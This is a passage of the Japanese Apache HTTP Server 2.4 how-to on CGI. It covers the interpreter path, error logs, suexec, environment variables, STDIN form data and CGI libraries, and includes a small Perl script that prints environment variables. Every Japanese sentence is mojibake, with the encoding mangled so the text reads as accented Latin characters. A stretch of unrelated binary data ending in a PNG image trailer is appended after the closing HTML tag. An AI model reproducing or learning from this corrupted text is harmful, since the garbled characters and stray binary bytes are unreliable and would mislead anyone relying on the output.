      æ„è­˜ã—ãªãã¦ã‚‚ã‚·ã‚§ãƒ«ã«æ¸¡ã•れる情報ãŒã‚りã¾ã™ã€‚
      例ãˆã°ã€å‚ç…§ã™ã‚‹ãƒ•ァイルã®ãŸã‚ã«ã©ã“を検索ã—ãŸã‚‰ã‚ˆã„ã‹ã‚’
      シェルã«ä¼ãˆã‚‹ <code>PATH</code> ãŒã‚りã¾ã™ã€‚</p>

      <p>プログラム㌠CGI プログラムã¨ã—ã¦ã‚¦ã‚§ãƒ–サーãƒã«ã‚ˆã£ã¦å®Ÿè¡Œã•れるã¨ãã€
      ãれã¯åŒã˜ <code>PATH</code> ã§ã¯ãªã„ã‹ã‚‚ã—れã¾ã›ã‚“。
      CGI プログラム内ã§å‘¼ã³å‡ºã™ã‚らゆるプログラム
      (例ãˆã°ã€<code>sendmail</code> ã®ã‚ˆã†ãªã‚‚ã®) ã¯ã€
      ãƒ•ãƒ«ãƒ‘ã‚¹ã§æŒ‡å®šã™ã‚‹å¿…è¦ãŒã‚ã‚‹ã§ã—ょã†ã€‚ãれã«ã‚ˆã‚Šã€CGI
      プログラムを実行ã—よã†ã¨ã—ãŸã¨ãã€
      シェルã¯ãã®ã‚ˆã†ãªãƒ—ログラムを見ã¤ã‘ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚</p>

      <p>åŒæ§˜ãªã“ã¨ã¯ã€ã‚¹ã‚¯ãƒªãƒ—トã®ã‚¤ãƒ³ã‚¿ãƒ—リタ (ã—ã°ã—ã° <code>perl</code>)
      ã¸ã®ãƒ‘スã§ã€CGI プログラム㮠1 è¡Œç›®ã«æ¬¡ã®ã‚ˆã†ã«ç¤ºã•れã¾ã™:</p>

      <div class="example"><p><code>
        #!/usr/bin/perl
      </code></p></div>

      <p>ã“れãŒã‚¤ãƒ³ã‚¿ãƒ¼ãƒ—リタã¸ã®å®Ÿéš›ã®ãƒ‘スã§ã‚ã‚‹ã“ã¨ã‚’確èªã—ã¦ãŠãã¾ã™ã€‚</p>
    

      <p>ã¾ãŸã€CGI プログラムãŒä»–ã®<a href="#env">環境変数</a>ã«ä¾å­˜ã—ã¦ã„ã‚‹å ´åˆã¯ã€ãã®ç’°å¢ƒå¤‰æ•°ãŒ
      Apache ã‹ã‚‰æ¸¡ã•れるよã†ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚</p>

    <h3><a name="syntaxerrors" id="syntaxerrors">プログラムエラー</a></h3>
      

      <p>CGI
      プログラムãŒå¤±æ•—ã™ã‚‹ã®ã¯å¤§æŠµã€ãƒ—ログラム自身ã«å•題ãŒã‚ã‚‹å ´åˆã§ã™ã€‚
      一度 CGI ã®ä½¿ã„方をç†è§£ã—ã€å‰è¿°ã®äºŒã¤ã®èª¤ã‚Šã‚’犯ã—ã¦ã„ãªã„ãªã‚‰ã°ã€
      ã¾ãšé–“é•ã„ãªããã†ã§ã—ょã†ã€‚ブラウザを使ã£ã¦ãƒ†ã‚¹ãƒˆã™ã‚‹å‰ã«
      ã¾ãšç¢ºèªã™ã‚‹ã“ã¨ã¯ã€ã‚³ãƒžãƒ³ãƒ‰ãƒ©ã‚¤ãƒ³ã‹ã‚‰ãƒ—ログラムãŒå®Ÿè¡Œã§ãã‚‹ã“ã¨ã§ã™ã€‚
      例ãˆã°ã€ä»¥ä¸‹ã‚’実行ã—ã¦ã¿ã¦ãã ã•ã„:</p>

      <div class="example"><p><code>
      cd /usr/local/apache2/cgi-bin<br />
      ./first.pl
      </code></p></div>

      <p>(<code>perl</code> インタプリタã¯å‘¼ã°ãªã„ã§ãã ã•ã„。
      シェル㨠Apache ãŒã‚¹ã‚¯ãƒªãƒ—ãƒˆã®æœ€åˆã®è¡Œã® <a href="#pathinformation">パス情報</a> を使ã£ã¦è¦‹ã¤ã‘ã¾ã™ã€‚)</p>

      <p>最åˆã«ãƒ—ログラムã‹ã‚‰å‡ºåŠ›ã•れるã®ã¯ <code>Content-Type</code> ã‚’å«ã¿ã€
      後ã«ç©ºè¡Œã®ç¶šã HTTP ヘッダã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。他ã®ã‚‚ã®ãŒå‡ºåŠ›ã•れã¦ã„ã‚‹
      å ´åˆã¯ã€Apache ã¯ã“ã®ãƒ—ログラムをサーãƒçµŒç”±ã§å®Ÿè¡Œã—よã†ã¨ã—ãŸã¨ãã«ã¯
      <code>Premature end of script headers</code> エラーを出力ã—ã¾ã™ã€‚詳細ã¯
      上記㮠<a href="#writing">CGI プログラムを書ã</a> を読んã§ãã ã•ã„。</p>
    

    <h3><a name="errorlogs" id="errorlogs">エラーログ</a></h3>
      

      <p>エラーログã¯å‹é”ã§ã™ã€‚
      å…¨ã¦ã®ã†ã¾ãã„ã‹ãªã„ã“ã¨ã¯ã€ã‚¨ãƒ©ãƒ¼ãƒ­ã‚°ã«ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’生æˆã—ã¾ã™ã€‚
      å¿…ãšãれを最åˆã«è¦‹ã‚‹ã¹ãã§ã™ã€‚
      ã‚‚ã—ã€ã‚ãªãŸãŒã‚¦ã‚§ãƒ–サイトを主催ã—ã¦ã„る場所ãŒ
      エラーログã®å‚照を許ã—ã¦ã„ãªã„ãªã‚‰ã°ã€ãã£ã¨ä»–ã®ã‚µã‚¤ãƒˆã§ä¸»å‚¬ã™ã‚‹ã¹ãã§ã™ã€‚
      エラーログã®èª­ã¿æ–¹ã‚’å­¦ã¶ã“ã¨ã§ã€ã»ã¨ã‚“ã©å…¨ã¦ã®å•題ãŒè¿…速ã«ç¢ºèªã•れã€
      迅速ã«è§£æ±ºã•れるã¨ã„ã†ã“ã¨ãŒåˆ†ã‹ã‚‹ã§ã—ょã†ã€‚</p>
    

    <h3><a name="suexec" id="suexec">Suexec</a></h3>
      

      <p><a href="../suexec.html">suexec</a> サãƒãƒ¼ãƒˆãƒ—ログラムã¯
      ãƒãƒ¼ãƒãƒ£ãƒ«ãƒ›ã‚¹ãƒˆã‚„ユーザã®ãƒ›ãƒ¼ãƒ ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å ´æ‰€ã«ä¾ã£ã¦
      CGI プログラムをé•ã†ãƒ¦ãƒ¼ã‚¶æ¨©é™ã®ä¸‹ã§èµ°ã‚‰ã›ã‚‹ã“ã¨ã‚’å¯èƒ½ã«ã—ã¾ã™ã€‚
      Suexec ã®æ¨©é™ã®ãƒã‚§ãƒƒã‚¯ã¯éžå¸¸ã«å޳ã—ãã€ãれを満ãŸã•ãªã„å ´åˆã¯
      CGI プログラム㌠<code>Premature end of script headers</code> エラーã§
      実行ã•れã¾ã›ã‚“。</p>

      <p>suexec を使ã£ã¦ã„ã‚‹ã‹ã©ã†ã‹ã‚’調ã¹ãŸã‚ã«ã¯ <code>apachectl
      -V</code> を実行ã—ã¦ã€<code>SUEXEC_BIN</code> ã®å ´æ‰€ã‚’調ã¹ã¦ãã ã•ã„。
      Apache ãŒãã“ã« <code class="program"><a href="../programs/suexec.html">suexec</a></code> ã®ãƒã‚¤ãƒŠãƒªã‚’発見ã—ãŸå ´åˆã¯ã€suexec ãŒ
      使用ã•れã¾ã™ã€‚</p>

      <p>suexec を完全ã«ç†è§£ã—ã¦ã„ãªã„é™ã‚Šã€ä½¿ã†ã¹ãã§ã¯ã‚りã¾ã›ã‚“。
      suexec を無効ã«ã™ã‚‹ã«ã¯ã€<code>SUEXEC_BIN</code> ã‹ã‚‰æŒ‡ã•れã¦ã„ã‚‹
      <code class="program"><a href="../programs/suexec.html">suexec</a></code> ãƒã‚¤ãƒŠãƒªã‚’削除 (ã‹åå‰ã‚’変更) ã™ã‚‹ã ã‘ã§ã™ã€‚
      <a href="../suexec.html">suexec</a> を読んã å¾Œã§ã€ã¾ã ãれを
      使ã„ãŸã„ã®ã§ã‚れã°ã€<code>suexec -V</code> を実行ã—㦠suexec ã®
      ログファイルã®ä½ç½®ã‚’調ã¹ã€ãã®ãƒ­ã‚°ãƒ•ァイルを使ã£ã¦ãƒãƒªã‚·ãƒ¼é•åã‚’
      見ã¤ã‘ã¦ãã ã•ã„。</p>
    
  </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="behindscenes" id="behindscenes">è£ã§ä½•ãŒèµ·ã“ã£ã¦ã„ã‚‹ã®ã‹?</a></h2>
    

    <p>CGI プログラミングã«ç¿’熟ã™ã‚‹ã¨ã€
    è£ã§èµ·ã“ã£ã¦ã„ã‚‹ã“ã¨ã«ã¤ã„ã¦æ›´ã«ç†è§£ã™ã‚‹ã“ã¨ã®å½¹ã«ç«‹ã¡ã¾ã™ã€‚
    ブラウザã¨ã‚µãƒ¼ãƒãŒã©ã®ã‚ˆã†ã«ç›¸äº’通信ã™ã‚‹ã‹ã«ã¤ã„ã¦ã¯ç‰¹ã«ãã†ã§ã™ã€‚
    ãªãœãªã‚‰ã€"Hello, World."
    ã‚’å°å­—ã™ã‚‹ãƒ—ログラムを書ãã“ã¨ã¯ãŠãŠã„ã«çµæ§‹ã§ã™ãŒã€
    ãれã¯ç‰¹ã«æœ‰ç›Šã§ã¯ã‚りã¾ã›ã‚“。</p>

    <h3><a name="env" id="env">環境変数</a></h3>
      

      <p>環境変数ã¯ã€
      ã‚ãªãŸãŒã‚³ãƒ³ãƒ”ュータを使ã†ã¨ãã«è¾ºã‚Šã«å­˜åœ¨ã—ã¦ã„る値ã§ã™ã€‚
      ãれらã¯ã€ãƒ‘ス
      (コマンドをタイプã—ãŸã¨ãã«å®Ÿè¡Œã™ã‚‹å®Ÿéš›ã®ãƒ•ァイルを探ã—出ã™ã¨ã“ã‚)ã€
      ユーザåã€ç«¯æœ«åž‹ãªã©ã®ã‚ˆã†ãªä¾¿åˆ©ãªã‚‚ã®ã§ã™ã€‚
      é€šå¸¸ã€æ™®æ®µä½¿ç”¨ã—ã¦ã„る環境変数ã®å®Œå…¨ãªãƒªã‚¹ãƒˆã‚’調ã¹ã‚‹ã«ã¯ã€
      コマンドプロンプト㧠<code>env</code> を入力ã—ã¾ã™ã€‚</p>

      <p>CGI ã®å‡¦ç†ä¸­ã€ã‚µãƒ¼ãƒã¨ãƒ–ラウザも環境変数を設定ã—ã€
      ãれã«ã‚ˆã‚Šç›¸äº’ã«é€šä¿¡ã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚
      ãã®ç’°å¢ƒå¤‰æ•°ã¯ã€ãƒ–ラウザタイプ (Netscape, IE, Lynx)ã€ã‚µãƒ¼ãƒã‚¿ã‚¤ãƒ—
      (Apache, IIS, WebSite)ã€å®Ÿè¡Œã•れã¦ã„ã‚‹ CGI
      プログラムã®åå‰ãªã©ã§ã™ã€‚</p>

      <p>ã“れらã®å¤‰æ•°ã¯ CGI プログラマãŒä½¿ç”¨ã§ãã¾ã™ã€‚
      ãã—ã¦ã€ãれã¯ã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã¨ã‚µãƒ¼ãƒã®é€šä¿¡ã®è©±ã®åŠåˆ†ã§ã™ã€‚
      å¿…è¦ãªå¤‰æ•°ã®å®Œå…¨ãªãƒªã‚¹ãƒˆã¯ <a href="http://hoohoo.ncsa.uiuc.edu/cgi/env.html">http://hoohoo.ncsa.uiuc.edu/cgi/env.html</a> ã«ã‚りã¾ã™ã€‚</p>

      <p>以下ã®å˜ç´”㪠Perl CGI
      プログラムã¯ã€æ¸¡ã•れる全ã¦ã®ç’°å¢ƒå¤‰æ•°ã‚’表示ã—ã¾ã™ã€‚åŒæ§˜ã®ãƒ—ログラムã¯ã€
      Apache ディストリビューション㮠<code>cgi-bin</code>
      ディレクトリã«äºŒã¤å«ã¾ã‚Œã¦ã„ã¾ã™ã€‚
      ã„ãã¤ã‹ã®å¤‰æ•°ãŒå¿…é ˆã§ã‚りã€ã„ãã¤ã‹ã¯ä»»æ„ã§ã‚ã‚‹ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。
      ãã—ã¦ã€å…¬å¼ã®ãƒªã‚¹ãƒˆã«ã¯ãªã„ã„ãã¤ã‹ã®å¤‰æ•°ãŒè¡¨ç¤ºã•れã¦ã„ã‚‹ã‹ã‚‚ã—れã¾ã›ã‚“。
      ã•らã«ã€Apache ã¯ãƒ‡ãƒ•ォルトã§ç”¨æ„ã•れã¦ã„る基本的ãªã‚‚ã®ã«
      <a href="../env.html">ã‚ãªãŸè‡ªèº«ã®ç’°å¢ƒå¤‰æ•°ã‚’加ãˆã‚‹</a>ãŸã‚ã®ã€
      多ãã®ç•°ãªã‚‹æ–¹æ³•を用æ„ã—ã¦ã—ã¾ã™ã€‚</p>

      <div class="example"><p><code>
        #!/usr/bin/perl<br />
        print "Content-type: text/html\n\n";<br />
        foreach $key (keys %ENV) {<br />
        <span class="indent">
          print "$key --&gt; $ENV{$key}&lt;br&gt;";<br />
        </span>
        }
      </code></p></div>
    

    <h3><a name="stdin" id="stdin">STDIN 㨠STDOUT</a></h3>
      

      <p>サーãƒã¨ã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆé–“ã®ã‚‚ã†ä¸€ã¤ã®é€šä¿¡ã¯ã€æ¨™æº–入力
      (<code>STDIN</code>)ã¨æ¨™æº–出力 (<code>STDOUT</code>)
      を通ã˜ã¦è¡Œãªã‚れã¾ã™ã€‚é€šå¸¸ã®æ–‡è„ˆã«ãŠã„ã¦ã€<code>STDIN</code>
      ã¯ã‚­ãƒ¼ãƒœãƒ¼ãƒ‰ã‚„プログラムãŒå‹•作ã™ã‚‹ãŸã‚ã«ä¸Žãˆã‚‰ã‚Œã‚‹ãƒ•ァイルをæ„味ã—ã€
      <code>STDOUT</code> ã¯é€šå¸¸ã‚³ãƒ³ã‚½ãƒ¼ãƒ«ã¾ãŸã¯ã‚¹ã‚¯ãƒªãƒ¼ãƒ³ã‚’æ„味ã—ã¾ã™ã€‚</p>

      <p>ウェブフォームã‹ã‚‰ CGI プログラムã¸<code>POST</code>
      ã—ãŸã¨ãã€ãƒ•ォームã®ãƒ‡ãƒ¼ã‚¿ã¯ç‰¹åˆ¥ãªãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆã§æŸã­ã‚‰ã‚Œã€
      <code>STDIN</code> を通ã—ã¦ã€CGI プログラムã«å¼•ãæ¸¡ã•れã¾ã™ã€‚
      プログラムã¯ãƒ‡ãƒ¼ã‚¿ãŒã‚­ãƒ¼ãƒœãƒ¼ãƒ‰
      ã‚‚ã—ãã¯ãƒ•ァイルã‹ã‚‰æ¥ã¦ã„ãŸã‹ã®ã‚ˆã†ã«å‡¦ç†ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚</p>

      <p>「特別ãªãƒ•ォーマットã€ã¯ã¨ã¦ã‚‚å˜ç´”ã§ã™ã€‚フィールドåã¨å€¤ã¯ã‚¤ã‚³ãƒ¼ãƒ«
      (=) ã§çµã°ã‚Œã¾ã™ã€‚ãã—ã¦å€¤ã®çµ„ã¯ã‚¢ãƒ³ãƒ‘サンド (&amp;) ã§çµã°ã‚Œã¾ã™ã€‚
      スペースã€ã‚¢ãƒ³ãƒ‘サンドã€ã‚¤ã‚³ãƒ¼ãƒ«ã®ã‚ˆã†ãªé¢å€’ãªæ–‡å­—ã¯ã€
      ãれらãŒå‹•作を駄目ã«ã—ãªã„よã†ã«ãã®æ–‡å­—ã«ç›¸å½“ã™ã‚‹ 16 進ã«å¤‰æ›ã•れã¾ã™ã€‚
      全データ文字列ã¯ã€ä»¥ä¸‹ã®ã‚ˆã†ã«ãªã‚Šã¾ã™:
      </p>

      <div class="example"><p><code>
        name=Rich%20Bowen&amp;city=Lexington&amp;state=KY&amp;sidekick=Squirrel%20Monkey
      </code></p></div>

      <p>時々ã€ã“ã®ã‚ˆã†ãªæ–‡å­—列㌠URL
      ã«ä»˜åŠ ã•れるã®ã‚’見るã§ã—ょã†ã€‚ãã®å ´åˆã€ã‚µãƒ¼ãƒã¯
      <code>QUERY_STRING</code> ã¨ã„ã†ç’°å¢ƒå¤‰æ•°ã«ãã®æ–‡å­—列を入れã¾ã™ã€‚ãれã¯
      <code>GET</code> リクエストã¨å‘¼ã°ã‚Œã¾ã™ã€‚
      HTML フォームã§ã¯ã€ãƒ‡ãƒ¼ã‚¿ã‚’渡ã™ãŸã‚ã« <code>GET</code> ã¨
      <code>POST</code> ã®ã©ã¡ã‚‰ã‚’使用ã™ã‚‹ã‹ã‚’ã€<code>FORM</code> ã‚¿ã‚°ã®
      <code>METHOD</code> 属性ã®è¨­å®šã§æŒ‡å®šã—ã¾ã™ã€‚</p>

      <p>CGI プログラムã¯ã€ãã®æ–‡å­—列を役ã«ç«‹ã¤æƒ…å ±ã«åˆ†å‰²ã™ã‚‹è²¬ä»»ãŒã‚りã¾ã™ã€‚
      幸ã„ã«ã‚‚ã€ãã®ãƒ‡ãƒ¼ã‚¿å‡¦ç†ã‚’助ã‘るライブラリやモジュールãŒå­˜åœ¨ã—ã¾ã™ã€‚
      ã“れらã¯ã€CGI プログラムã®ä»–ã®é¢ã§ã‚‚åŒæ§˜ã«å½¹ã«ç«‹ã¡ã¾ã™ã€‚</p>
    
  </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="libraries" id="libraries">CGI モジュール/ライブラリ</a></h2>
    

    <p>CGI プログラムを書ãã¨ãã€é¢å€’ãªä»•事ã®å¤§éƒ¨åˆ†ã‚’ã—ã¦ãれる
    コードライブラリã¾ãŸã¯ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã‚’使ã†ã“ã¨ã‚’検討ã™ã¹ãã§ã™ã€‚
    ã“れã¯ã‚¨ãƒ©ãƒ¼ã‚’減らã—ã€æ—©ã„開発ã«ã¤ãªãŒã‚Šã¾ã™ã€‚</p>

    <p>Perl ã§ CGI プログラムを書ã„ã¦ã„ã‚‹ãªã‚‰ã€ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯ <a href="http://www.cpan.org/">CPAN</a> ã§æä¾›ã•れã¦ã„ã¾ã™ã€‚
    ã“ã®ç›®çš„ã®ãŸã‚ã®æœ€ã‚‚æ™®åŠã—ã¦ã„るモジュール㯠<code>CGI.pm</code> ã§ã™ã€‚
    <code>CGI::Lite</code> も検討ã—ã¾ã—ょã†ã€‚ã“れã¯ã€ã»ã¨ã‚“ã©ã®ãƒ—ログラム
    ã«ãŠã„ã¦å¿…è¦ã¨ã™ã‚‹ã™ã¹ã¦ã®æ©Ÿèƒ½ã®æœ€å°ã‚»ãƒƒãƒˆã®å®Ÿè£…ã§ã™ã€‚</p>

    <p>C ã§ CGI プログラムを書ã„ã¦ã„ã‚‹ãªã‚‰ã€ã„ã‚ã„ã‚ãª
    オプションãŒã‚りã¾ã™ã€‚ã“れらã®å†…ã®ä¸€ã¤ã¯ <a href="http://www.boutell.com/cgic/">http://www.boutell.com/cgic/</a>
    ã§æä¾›ã•れã¦ã„ã‚‹ <code>CGIC</code> ライブラリã§ã™ã€‚</p>
  </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="moreinfo" id="moreinfo">æ›´ãªã‚‹æƒ…å ±</a></h2>
    

    <p>CGI ã«é–¢ã™ã‚‹æƒ…å ±ã¯ã‚¦ã‚§ãƒ–ã§æ•°å¤šãæä¾›ã•れã¦ã„ã¾ã™ã€‚CGI
    ã®å•題ã«ã¤ã„ã¦ã¯ Usenet ã® <a href="news:comp.infosystems.www.authoring.cgi">comp.infosystems.www.authoring.cgi</a> ã§ã€
    ä»–ã®ãƒ¦ãƒ¼ã‚¶ã¨è«–è­°ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚HTML Writers Guide ã®
    -servers メーリングリストã¯ã€ã‚ãªãŸã®è³ªå•ã«å›žç­”ã—ã¦ãれるå‰å¤§ãªãƒªã‚½ãƒ¼ã‚¹ã§ã™ã€‚
    <a href="http://www.hwg.org/lists/hwg-servers/">http://www.hwg.org/lists/hwg-servers/</a>
    ã§æ›´ã«å¤šãを探ã—出ã™ã“ã¨ãŒã§ãã¾ã™ã€‚</p>

    <p>ãã—ã¦ã‚‚ã¡ã‚ã‚“ã€ãŠãらã CGI
    プログラムã®å‹•作ã«é–¢ã™ã‚‹è©³ç´°ã®å…¨ã¦ãŒè¨˜è¿°ã•れã¦ã„ã‚‹
    CGI ã®ä»•様を読むã¹ãã§ã™ã€‚オリジナルãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’
    <a href="http://hoohoo.ncsa.uiuc.edu/cgi/interface.html">NCSA</a>
    ã§ã€ã‚¢ãƒƒãƒ—デートã•れãŸãƒ‰ãƒ©ãƒ•トを
    <a href="http://web.golux.com/coar/cgi/">Common Gateway Interface RFC
    プロジェクト</a>ã§å‚ç…§ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚</p>

    <p>CGI ã®å•題ã«ã¤ã„ã¦ã€åŠ ã‚ã£ã¦ã„るメーリングリストã¾ãŸã¯ãƒ‹ãƒ¥ãƒ¼ã‚¹
    グループã«è³ªå•ã‚’é€ã‚‹ã¨ãã€èµ·ã“ã£ãŸã‚‚ã®ã€èµ·ã“ã£ã¦ã»ã—ã„ã“ã¨ã€
    実際ã«èµ·ã“ã£ãŸã“ã¨ãŒã©ã†é•ã†ã‹ã€ä½¿ç”¨ã—ã¦ã„るサーãƒã€
    CGI プログラムを記述ã—ã¦ã„る言語ã«é–¢ã™ã‚‹ååˆ†ãªæƒ…å ±ã¨ã€
    å¯èƒ½ã§ã‚れã°å•題ã®ã‚³ãƒ¼ãƒ‰ã‚’æä¾›ã™ã‚‹ã‚ˆã†ã«ã—ã¦ãã ã•ã„。
    ãã†ã™ã‚‹ã“ã¨ã§ã€å•題ãŒã‚ˆã‚Šé–“å˜ã«è¦‹ã¤ã‹ã‚‹ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚</p>

    <p>Apache ã®ã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰ã«ãŠã„ã¦å•題を発見ã—ãŸã“ã¨ã‚’確信ã—ã¦ã„ãªã„é™ã‚Šã€
    CGI ã®å•題ã«é–¢ã™ã‚‹è³ªå•ã‚’ Apache
    ãƒã‚°ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã«<strong>é€ã‚‹ã¹ãã§ãªã„</strong>
    ã“ã¨ã«æ³¨ç›®ã—ã¦ãã ã•ã„。</p>
  </div></div>
<div class="bottomlang">
<p><span>翻訳済ã¿è¨€èªž: </span><a href="../en/howto/cgi.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/howto/cgi.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/howto/cgi.html" title="Japanese">&nbsp;ja&nbsp;</a> |
<a href="../ko/howto/cgi.html" hreflang="ko" rel="alternate" title="Korean">&nbsp;ko&nbsp;</a></p>
</div><div class="top"><a href="#page-header"><img src="../images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">コメント</a></h2><div class="warning"><strong>Notice:</strong><br />This is not a Q&amp;A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed again by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Freenode, or sent to our <a href="http://httpd.apache.org/lists.html">mailing lists</a>.</div>
<script type="text/javascript"><!--//--><![CDATA[//><!--
var comments_shortname = 'httpd';
var comments_identifier = 'http://httpd.apache.org/docs/2.4/howto/cgi.html';
(function(w, d) {
    if (w.location.hostname.toLowerCase() == "httpd.apache.org") {
        d.write('<div id="comments_thread"><\/div>');
        var s = d.createElement('script');
        s.type = 'text/javascript';
        s.async = true;
        s.src = 'https://comments.apache.org/show_comments.lua?site=' + comments_shortname + '&page=' + comments_identifier;
        (d.getElementsByTagName('head')[0] || d.getElementsByTagName('body')[0]).appendChild(s);
    }
    else { 
        d.write('<div id="comments_thread">Comments are disabled for this page at the moment.<\/div>');
    }
})(window, document);
//--><!]]></script></div><div id="footer">
<p class="apache">Copyright 2015 The Apache Software Foundation.<br />ã“ã®æ–‡æ›¸ã¯ <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a> ã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã§æä¾›ã•れã¦ã„ã¾ã™ã€‚.</p>
<p class="menu"><a href="../mod/">モジュール</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">用語</a> | <a href="../sitemap.html">サイトマップ</a></p></div><script type="text/javascript"><!--//--><![CDATA[//><!--
if (typeof(prettyPrint) !== 'undefined') {
    prettyPrint();
}
//--><!]]></script>
</body></html>
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚